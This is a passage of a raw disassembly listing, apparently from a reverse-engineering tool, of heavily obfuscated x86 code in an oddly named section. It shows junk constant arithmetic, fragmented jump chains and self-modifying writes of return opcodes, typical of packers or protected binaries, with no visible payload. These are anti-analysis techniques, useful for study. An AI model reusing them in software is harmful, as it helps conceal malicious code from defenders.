END OF FUNCTION CHUNK FOR sub_754729 ; =============== S U B R O U T I N E ======================================= sub_745A63 proc near ; CODE XREF: sub_41C591:loc_41C5E1p ; sub_41C608:loc_41C65Bp ... call sub_745A78 jmp ds:off_41F018 sub_745A63 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756691 loc_745A6E: ; CODE XREF: sub_756691+3j jmp loc_75380B ; END OF FUNCTION CHUNK FOR sub_756691 ; --------------------------------------------------------------------------- loc_745A73: ; CODE XREF: _0z4jwtox:0075434Aj jmp locret_74F65A ; =============== S U B R O U T I N E ======================================= sub_745A78 proc near ; CODE XREF: sub_745A63p ; sub_746145:loc_755720j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00746969 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00748D12 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748ECD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749509 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007497C1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00749CFE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E142 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752188 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 007523D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007526E9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753384 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007540D8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075412A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007541EA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00754A16 SIZE 00000015 BYTES jz loc_75412A pop edx mov eax, [esp-4+arg_0] jmp loc_7541EA sub_745A78 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_268. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_745A88: ; CODE XREF: _0z4jwtox:0074F11Ej jmp loc_749AC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_745A8D: ; CODE XREF: sub_74C670-266Dj sub eax, 0D3209CAEh jmp loc_74AB8E ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7452F3 loc_745A98: ; CODE XREF: sub_7452F3:loc_74C5B5j mov edx, [ecx] jmp loc_74F43E ; END OF FUNCTION CHUNK FOR sub_7452F3 ; --------------------------------------------------------------------------- popf jmp loc_747191 ; --------------------------------------------------------------------------- mov ds:off_41F0F0, eax push offset sub_75497D jmp loc_74B553 ; --------------------------------------------------------------------------- loc_745AB5: ; CODE XREF: _0z4jwtox:loc_75475Aj popf mov ebp, [esi] jb loc_74C8E8 ; START OF FUNCTION CHUNK FOR sub_74DE6C loc_745ABE: ; CODE XREF: sub_74DE6C:loc_754741j and edx, 0E6FB76C7h or edx, 0D6BC55A6h add edx, 977F65Eh jmp loc_754805 ; END OF FUNCTION CHUNK FOR sub_74DE6C ; --------------------------------------------------------------------------- loc_745AD5: ; CODE XREF: _0z4jwtox:007559A6j mov byte ptr [eax], 0C3h jmp nullsub_291 ; --------------------------------------------------------------------------- push ecx mov ecx, esi xchg ecx, [esp] push 48F55DE5h pop esi sub esi, 28190B6Ch cmp esi, 0F2460EE1h ; START OF FUNCTION CHUNK FOR sub_75532F loc_745AF5: ; CODE XREF: sub_75532F+4j jmp loc_74CEC8 ; END OF FUNCTION CHUNK FOR sub_75532F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_745AFA: ; CODE XREF: sub_7561AB:loc_7561B0j mov eax, [eax] cmp byte ptr [eax], 2Eh jnz loc_752765 jmp loc_756E4E ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- and eax, 205ECDC0h jmp sub_749C95 ; --------------------------------------------------------------------------- locret_745B15: ; CODE XREF: _0z4jwtox:007467EFj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746ED2 loc_745B16: ; CODE XREF: sub_746ED2+19j jmp loc_74DD88 ; END OF FUNCTION CHUNK FOR sub_746ED2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_745B1B: ; CODE XREF: sub_74A7D8-54C3j jmp loc_753DD6 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753D0E loc_745B20: ; CODE XREF: sub_753D0E:loc_75554Dj mov esi, ecx call sub_7468F2 loc_745B27: ; CODE XREF: sub_74D23E-6C8Cj jmp loc_74A6CB ; END OF FUNCTION CHUNK FOR sub_753D0E ; --------------------------------------------------------------------------- loc_745B2C: ; DATA XREF: sub_74CA64+17EEo push 0C9598AA4h pop eax rol eax, 5 xor eax, 33D707A9h sub eax, 0A22596CAh and eax, 0D8DB80DEh xor eax, 0FBE6E830h add eax, ebp jmp loc_74D007 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_745B54: ; CODE XREF: _0z4jwtox:00748E63j ; sub_75364C:loc_7522A2j sub eax, 5945955Eh xor eax, 0EDC173E2h popf jo loc_74ADB7 shl eax, cl jmp loc_748AB7 ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFF8 loc_745B6E: ; CODE XREF: sub_74BFF8-6DD5j jz loc_74D3BD ; END OF FUNCTION CHUNK FOR sub_74BFF8 ; START OF FUNCTION CHUNK FOR sub_747736 loc_745B74: ; CODE XREF: sub_747736+6504j jmp loc_749EAA ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- xor edx, edi mov ecx, [edi] jmp loc_74D3B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_745B82: ; CODE XREF: sub_747AEC:loc_750837j mov [ecx], ebp pushf add ebp, ecx jmp loc_74B20D ; END OF FUNCTION CHUNK FOR sub_747AEC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- or byte ptr [eax+10h], 0 add [edx-75h], bl add al, 24h push esi mov esi, edx xchg esi, [esp] call sub_756691 mov eax, 2D912001h jmp loc_7484E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_745BAB: ; CODE XREF: sub_74AAC1+81B7j xchg eax, [esp+0] jmp loc_7502B5 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_745BB3: ; CODE XREF: sub_748FA4:loc_755716j xchg ebx, ecx shl edx, 10h loc_745BB8: ; CODE XREF: _0z4jwtox:0074A990j jmp loc_755EE0 ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- push ebx push 0F8486A3h pop ebx and ebx, 0AAEB4CBh or ebx, 96276813h xor ebx, 8689A488h or ebx, 30E913ECh jmp loc_752E86 ; --------------------------------------------------------------------------- cdq jmp sub_751EFF ; --------------------------------------------------------------------------- loc_745BE7: ; DATA XREF: sub_74C2C9-54A6o jnz loc_74FFB3 jmp loc_7556FF ; --------------------------------------------------------------------------- jmp loc_75114D ; =============== S U B R O U T I N E ======================================= sub_745BF7 proc near ; CODE XREF: sub_7475DD+8p ; sub_745BF7+9E0Cj ... ; FUNCTION CHUNK AT 0074CA77 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F9F2 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0075408B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755873 SIZE 00000014 BYTES mov edx, 1 lock xchg edx, [eax] or edx, edx jz nullsub_22 loc_745C07: ; CODE XREF: sub_745BF7+9E06j ; sub_745BF7+FC85j jnb loc_74FA08 push eax jmp loc_75408B sub_745BF7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74EF6C loc_745C13: ; CODE XREF: sub_74EF6C-255Fj xor ebx, 0EDC5955Eh rol edx, 6 popf pushf shl ebx, 3 jmp loc_74EE3E ; END OF FUNCTION CHUNK FOR sub_74EF6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749115 loc_745C26: ; CODE XREF: sub_749115:loc_74FDCAj call sub_745C34 pop ecx mov [ebp-20h], eax loc_745C2F: ; CODE XREF: sub_74BFE0:loc_746282j jmp loc_74F00B ; END OF FUNCTION CHUNK FOR sub_749115 ; =============== S U B R O U T I N E ======================================= sub_745C34 proc near ; CODE XREF: sub_749115:loc_745C26p ; FUNCTION CHUNK AT 00746888 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00749A08 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075421B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00756F32 SIZE 00000024 BYTES call sub_748A22 loc_745C39: ; CODE XREF: sub_748FA4+DC16j jmp loc_75421B sub_745C34 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74724C loc_745C3E: ; CODE XREF: sub_74724C+F13Cj jmp loc_748F85 ; END OF FUNCTION CHUNK FOR sub_74724C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750715 loc_745C43: ; CODE XREF: sub_750715+1EC2j jmp loc_75502C ; END OF FUNCTION CHUNK FOR sub_750715 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B95 loc_745C48: ; CODE XREF: sub_749B95+Bj jmp loc_74C42A ; END OF FUNCTION CHUNK FOR sub_749B95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752737 loc_745C4D: ; CODE XREF: sub_7567B4:loc_745D4Cj ; sub_74B1F1-46D8j ... jmp loc_753C12 ; END OF FUNCTION CHUNK FOR sub_752737 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7567B4 loc_745C52: ; CODE XREF: sub_745C55+2C78j ; sub_7567B4+7j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_7567B4 ; =============== S U B R O U T I N E ======================================= sub_745C55 proc near ; CODE XREF: sub_4093C1+1CFp ; _0z4jwtox:00753D82j ; DATA XREF: ... ; FUNCTION CHUNK AT 007456B7 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00745D7C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007488CA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074A9B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C8EF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074E156 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074E471 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00754F02 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755731 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00756CE0 SIZE 0000001C BYTES push edx jmp loc_756CE0 sub_745C55 endp ; =============== S U B R O U T I N E ======================================= sub_745C5B proc near ; CODE XREF: _0z4jwtox:00747528j ; sub_74CC05+5p ; FUNCTION CHUNK AT 00754FBB SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx push 8E53818Fh pop eax and eax, 0A7186ACDh add eax, 0E53EFC55h call sub_746E93 jmp loc_754FBB sub_745C5B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752FC5 loc_745C7B: ; CODE XREF: sub_752FC5-4B8Fj push 20A6AA4Fh pop esi or esi, 0A81400A3h sub esi, 0CF78727Fh add esi, 820A7DEBh sub esi, 54BC6315h add esi, 0F9B59D2Eh jmp loc_75057B ; END OF FUNCTION CHUNK FOR sub_752FC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747290 loc_745CA4: ; CODE XREF: sub_747290+543Dj jnp loc_753C49 loc_745CAA: ; CODE XREF: sub_747290:loc_74D1D7j add esi, 0A938BB6Bh sub esi, 0FFAFC2A5h push offset sub_747D57 jmp loc_752A0F ; END OF FUNCTION CHUNK FOR sub_747290 ; --------------------------------------------------------------------------- mov ebx, [edi] jmp sub_754B1B ; =============== S U B R O U T I N E ======================================= sub_745CC7 proc near ; CODE XREF: sub_74847B+13p ; _0z4jwtox:0074EE68j ; FUNCTION CHUNK AT 00748E3E SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov esp, ebp pop ebp jmp loc_748E3E sub_745CC7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- shl edx, 0Eh jmp loc_750AE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_745CDB: ; CODE XREF: sub_7501AF:loc_74585Cj add ecx, 863327EDh and ecx, 5E697830h add ecx, 0AA7461E5h xchg ecx, [esp+0] jmp sub_753D0E ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75622B loc_745CF5: ; CODE XREF: sub_75622B:loc_74F2EBj lea eax, sub_749161 mov byte ptr [eax], 0C3h jmp sub_749161 ; END OF FUNCTION CHUNK FOR sub_75622B ; =============== S U B R O U T I N E ======================================= sub_745D03 proc near ; CODE XREF: sub_40517E+26Dp ; _0z4jwtox:007500E9j ; DATA XREF: ... push eax push offset loc_75540C jmp nullsub_23 sub_745D03 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_745D0E: ; CODE XREF: sub_747C22+7C81j cmp edi, 48521FC4h jmp loc_74EEAB ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_745D19: ; DATA XREF: sub_74CBCF+217Ao push edx nop mov eax, 2867838Ah call sub_746E93 mov ds:off_41F040, eax lea eax, loc_74ED3A mov byte ptr [eax], 0C3h jmp loc_74ED3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_745D39: ; CODE XREF: _0z4jwtox:0074BEBBj ; sub_74CBCF+2171j mov eax, [esp+0] jmp sub_74564F ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- or edx, 155ECE32h loc_745D47: ; CODE XREF: _0z4jwtox:00756599j jmp sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7567B4 loc_745D4C: ; CODE XREF: sub_7567B4+Dj jz loc_745C4D jmp loc_75512C ; END OF FUNCTION CHUNK FOR sub_7567B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_745D57: ; CODE XREF: sub_7561AB-C29Bj jge loc_74DA83 ; END OF FUNCTION CHUNK FOR sub_7561AB ; START OF FUNCTION CHUNK FOR sub_74F08D loc_745D5D: ; CODE XREF: sub_74F08D-58F7j jmp loc_75628C ; END OF FUNCTION CHUNK FOR sub_74F08D ; --------------------------------------------------------------------------- sub ebx, ecx xchg eax, [ecx] adc edi, 8EC38CADh jmp loc_74DA83 ; --------------------------------------------------------------------------- add edx, 21FAA291h jmp sub_747032 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745C55 loc_745D7C: ; CODE XREF: sub_745C55-582j jz loc_7539C0 jmp loc_74E156 ; END OF FUNCTION CHUNK FOR sub_745C55 ; --------------------------------------------------------------------------- loc_745D87: ; CODE XREF: _0z4jwtox:00753873j push esi push 3AEA7C04h pop esi rol esi, 0Eh add esi, 6173F13Fh jmp loc_74A34A ; --------------------------------------------------------------------------- loc_745D9C: ; CODE XREF: _0z4jwtox:007503ACj jz loc_74EC6F ; START OF FUNCTION CHUNK FOR sub_749010 loc_745DA2: ; CODE XREF: sub_749010:loc_74EC40j sub edx, ebx jmp sub_74D02D ; END OF FUNCTION CHUNK FOR sub_749010 ; --------------------------------------------------------------------------- loc_745DA9: ; CODE XREF: _0z4jwtox:00749C42j rol ebp, 19h jmp loc_74E3B1 ; =============== S U B R O U T I N E ======================================= sub_745DB1 proc near ; CODE XREF: _0z4jwtox:0074635Ep ; _0z4jwtox:0074E228j ; FUNCTION CHUNK AT 0074A9AB SIZE 00000006 BYTES xchg edi, [esp+0] pop edi push ebx push 0CDF302F2h pop ebx and ebx, 0D1AAC922h test ebx, 1000000h jmp loc_74A9AB sub_745DB1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_745DCD: ; CODE XREF: _0z4jwtox:0075137Dj jz loc_74509B ; START OF FUNCTION CHUNK FOR sub_74698F loc_745DD3: ; CODE XREF: sub_74698F:loc_74DE09j ; sub_74C3EB:loc_7526F4j add eax, 0D77752D5h add eax, ebp add eax, 0F6618C6Dh jmp loc_7565FC ; END OF FUNCTION CHUNK FOR sub_74698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_745DE6: ; CODE XREF: sub_74D782+3257j jge loc_74C9E6 mov [edx], ebp or eax, edx loc_745DF0: ; CODE XREF: sub_74D782:loc_74D8E9j mov eax, offset off_74B95C mov [ebp-4], eax xor eax, 0E13F90ADh jmp loc_752F1F ; END OF FUNCTION CHUNK FOR sub_74D782 ; --------------------------------------------------------------------------- mov eax, edi jmp sub_74870B ; --------------------------------------------------------------------------- loc_745E0A: ; CODE XREF: _0z4jwtox:0075700Aj jnz loc_7536BF jmp loc_753BA2 ; --------------------------------------------------------------------------- locret_745E15: ; CODE XREF: _0z4jwtox:00745387j retn ; --------------------------------------------------------------------------- loc_745E16: ; CODE XREF: _0z4jwtox:0074B7CEj sbb ebp, 24B4E02Eh pop ebp ; START OF FUNCTION CHUNK FOR sub_74E58E loc_745E1D: ; CODE XREF: sub_74E58E:loc_74B7BBj xor edi, 24437ECBh add edi, 0D9944F9h xchg edi, [esp+0] jmp sub_75310B ; END OF FUNCTION CHUNK FOR sub_74E58E ; --------------------------------------------------------------------------- adc ecx, edi xchg eax, esi jmp sub_74B020 ; --------------------------------------------------------------------------- loc_745E3A: ; CODE XREF: _0z4jwtox:007578BDj call sub_752E0F loc_745E3F: ; CODE XREF: _0z4jwtox:loc_74E652j call sub_74C2C9 or eax, eax jnz loc_74B6C3 jmp loc_75230E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_745E51: ; CODE XREF: sub_74AAC1-314Aj pop eax or eax, 260F6D21h test eax, 20000000h jmp loc_74D331 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- jle loc_75787F jmp sub_74BA2F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F1FE loc_745E6E: ; CODE XREF: sub_74F1FE+7j mov edi, eax pop eax xor edi, 624A507Ch cmp edi, 0FA6402C8h jmp loc_752EE8 ; END OF FUNCTION CHUNK FOR sub_74F1FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7539AE loc_745E82: ; CODE XREF: sub_7539AE+Dj mov [ebp-20h], eax jmp loc_74867F ; END OF FUNCTION CHUNK FOR sub_7539AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75263A loc_745E8A: ; CODE XREF: sub_75263A:loc_7482D4j call sub_74BED4 loc_745E8F: ; CODE XREF: sub_7558BD+Dj and esi, 0E6E43FACh ; END OF FUNCTION CHUNK FOR sub_75263A ; =============== S U B R O U T I N E ======================================= sub_745E95 proc near ; CODE XREF: _0z4jwtox:loc_74C5E5p xchg edi, [esp+0] pop edi lea eax, nullsub_6 mov byte ptr [eax], 0C3h jmp nullsub_6 sub_745E95 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_745EA7: ; CODE XREF: _0z4jwtox:00748CEEj mov eax, [esp] jmp loc_75667C ; --------------------------------------------------------------------------- locret_745EAF: ; CODE XREF: _0z4jwtox:007461E7j retn ; --------------------------------------------------------------------------- loc_745EB0: ; CODE XREF: _0z4jwtox:00755850j jmp loc_7467A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CD80 loc_745EB5: ; CODE XREF: sub_74CD80-3322j jmp loc_746E6B ; END OF FUNCTION CHUNK FOR sub_74CD80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_745EBA: ; CODE XREF: sub_74F78B-74C8j jmp loc_7483D4 ; END OF FUNCTION CHUNK FOR sub_74F78B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_745EBF: ; CODE XREF: sub_747C39:loc_74B520j jnz loc_74E8DE pushf test ebp, edi jmp loc_74E8CB ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_745ECD: ; CODE XREF: sub_7543C5+33B9j jnz loc_75641E jmp loc_74AB2A ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_745ED8: ; CODE XREF: sub_75275A:loc_74AC9Aj lea eax, [ebp-12Dh] push eax call sub_74C2C9 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_753A23 jmp loc_74BB0A ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74894B loc_745EF6: ; CODE XREF: sub_74894B:loc_746820j ; sub_74894B-2118j add edi, 42CCC8Eh xchg edi, [esp+0] jmp loc_74B54E ; END OF FUNCTION CHUNK FOR sub_74894B ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DF5E loc_745F05: ; CODE XREF: sub_74DF5E+Ej jmp loc_746F4E ; END OF FUNCTION CHUNK FOR sub_74DF5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_745F0A: ; CODE XREF: sub_74D23E:loc_750C5Cj xchg ebx, [esp+0] push ecx push 4509CA4h pop ecx rol ecx, 1Fh add ecx, 0FE4CBD1Ch push offset sub_7462D6 jmp loc_74B9F0 ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754E36 loc_745F27: ; CODE XREF: sub_754E36:loc_74B9C5j ; sub_756435+5j mov eax, [ebp-18h] add eax, eax call sub_75537E loc_745F31: ; CODE XREF: _0z4jwtox:0074EA4Fj sbb ecx, 5718E892h ; END OF FUNCTION CHUNK FOR sub_754E36 ; =============== S U B R O U T I N E ======================================= sub_745F37 proc near ; CODE XREF: sub_7561AB-AE65p xchg edx, [esp+0] loc_745F3A: ; CODE XREF: sub_7452F3:loc_74A39Ej pop edx add esi, 0F15AF63h push offset sub_750395 jmp nullsub_25 sub_745F37 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74985C loc_745F4B: ; CODE XREF: sub_74985C+5530j sub ebp, esi adc edx, esi loc_745F4F: ; CODE XREF: sub_752DF2-D796j ; sub_7453AD+AEB7j ... push offset sub_754A2B jmp nullsub_175 ; END OF FUNCTION CHUNK FOR sub_74985C ; --------------------------------------------------------------------------- locret_745F59: ; CODE XREF: _0z4jwtox:00753322j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_745F5A: ; CODE XREF: sub_7557E7-677Bj jmp nullsub_10 ; END OF FUNCTION CHUNK FOR sub_7557E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_745F5F: ; CODE XREF: sub_74AE46:loc_745077j ; sub_74AE46+383Aj rol esi, 0Ch xor esi, 0C117919Eh add esi, 112562B6h xor eax, esi pop esi jmp loc_752D29 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; --------------------------------------------------------------------------- loc_745F76: ; CODE XREF: _0z4jwtox:00754137j js loc_747AC8 push esi jmp sub_74FB89 ; --------------------------------------------------------------------------- jmp ds:off_41F0E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757314 loc_745F88: ; CODE XREF: sub_757314-78F5j jmp loc_74D511 ; END OF FUNCTION CHUNK FOR sub_757314 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749254 loc_745F8D: ; CODE XREF: sub_74B008+Dj ; sub_74F402+Dj ... jnb loc_74F414 pop edx mov eax, [esp-4+arg_0] jmp loc_74D92E ; END OF FUNCTION CHUNK FOR sub_749254 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_745F9C: ; CODE XREF: sub_74CBCF-C5Dj popf xor eax, ebx pop ebx rol eax, 11h push offset sub_750ECF jmp nullsub_139 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74698F loc_745FAD: ; CODE XREF: sub_74698F:loc_752A0Aj or eax, 3026199Eh cmp eax, 7DDE8E43h jmp loc_74DE09 ; END OF FUNCTION CHUNK FOR sub_74698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E84B loc_745FBE: ; CODE XREF: sub_74E84B:loc_74E85Aj jnz loc_754C8A jmp loc_74E446 ; END OF FUNCTION CHUNK FOR sub_74E84B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_745FC9: ; CODE XREF: sub_74F78B:loc_746F75j call sub_746E93 push edi push 0BAAD7E35h adc edi, 0D8D79A10h jmp loc_74CBCA ; END OF FUNCTION CHUNK FOR sub_74F78B ; --------------------------------------------------------------------------- loc_745FDF: ; CODE XREF: _0z4jwtox:00752C56j ja loc_754A9A ; =============== S U B R O U T I N E ======================================= sub_745FE5 proc near ; CODE XREF: sub_750D29:loc_746A53p ; FUNCTION CHUNK AT 0074A28E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F00B SIZE 0000000A BYTES xchg edx, [esp+0] pop edx call sub_74A445 pop ecx mov [ebp-20h], eax jmp loc_74A28E sub_745FE5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_745FF7: ; CODE XREF: _0z4jwtox:loc_7522ADj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_745FF8: ; CODE XREF: sub_752D11-30Dj jmp loc_74AC87 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F53E loc_745FFD: ; CODE XREF: sub_74F53E+16j jmp loc_74F348 ; END OF FUNCTION CHUNK FOR sub_74F53E ; --------------------------------------------------------------------------- loc_746002: ; CODE XREF: _0z4jwtox:loc_753952j jnz loc_74CDD2 loc_746008: ; CODE XREF: _0z4jwtox:0074BCCEj jmp loc_756BBF ; --------------------------------------------------------------------------- test ebx, 43028ACFh jmp loc_74855D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_746018: ; CODE XREF: sub_74CBCF+1FCEj xor eax, 176F47E5h push edx push 1B094288h pop edx or edx, 0FAC61826h add edx, 568C23CDh sub eax, edx jmp loc_749A1B ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_746038: ; CODE XREF: sub_74D1F3+2532j popf jmp loc_75322A ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E685 loc_74603E: ; CODE XREF: sub_74E685:loc_753BBAj jz loc_74A39E jmp loc_757302 ; END OF FUNCTION CHUNK FOR sub_74E685 ; --------------------------------------------------------------------------- loc_746049: ; CODE XREF: _0z4jwtox:00746AD1j jnb loc_74EB89 ; START OF FUNCTION CHUNK FOR sub_74673E loc_74604F: ; CODE XREF: sub_74673E+382j rol ecx, 13h add ecx, 91576A01h add eax, ecx pop ecx mov eax, [eax] jmp loc_752033 ; END OF FUNCTION CHUNK FOR sub_74673E ; =============== S U B R O U T I N E ======================================= sub_746062 proc near ; CODE XREF: sub_749DB4-B1Ej var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0075132B SIZE 00000005 BYTES push ebx push 186C94FBh pop ebx sub ebx, 0F267818h xor ebx, 21124FD8h add ebx, 0D82006BEh xchg ebx, [esp+4+var_4] jmp loc_75132B sub_746062 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_746083: ; CODE XREF: sub_750638:loc_751069j shr edi, 14h or ebx, edx jmp loc_746414 ; END OF FUNCTION CHUNK FOR sub_750638 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_74608D: ; CODE XREF: sub_74B1F1:loc_7496E2j mov edi, edx xchg edi, [esp+0] call sub_746C25 mov eax, 0F1A543E0h push eax push 5A3BA31Fh pop eax rol eax, 1Eh jmp loc_753E77 ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_7460AB: ; CODE XREF: sub_745911+9j ; _0z4jwtox:007459E4j jns loc_74881A mov eax, [ebp+var_4] movzx eax, byte ptr [eax] cmp ds:dword_75162C[eax*4], 0 jz loc_747CE7 jmp loc_7487FD ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_7460CA: ; CODE XREF: sub_749980-16E1j jge loc_74775A jmp loc_755000 ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748BB8 loc_7460D5: ; CODE XREF: sub_748BB8:loc_74788Dj 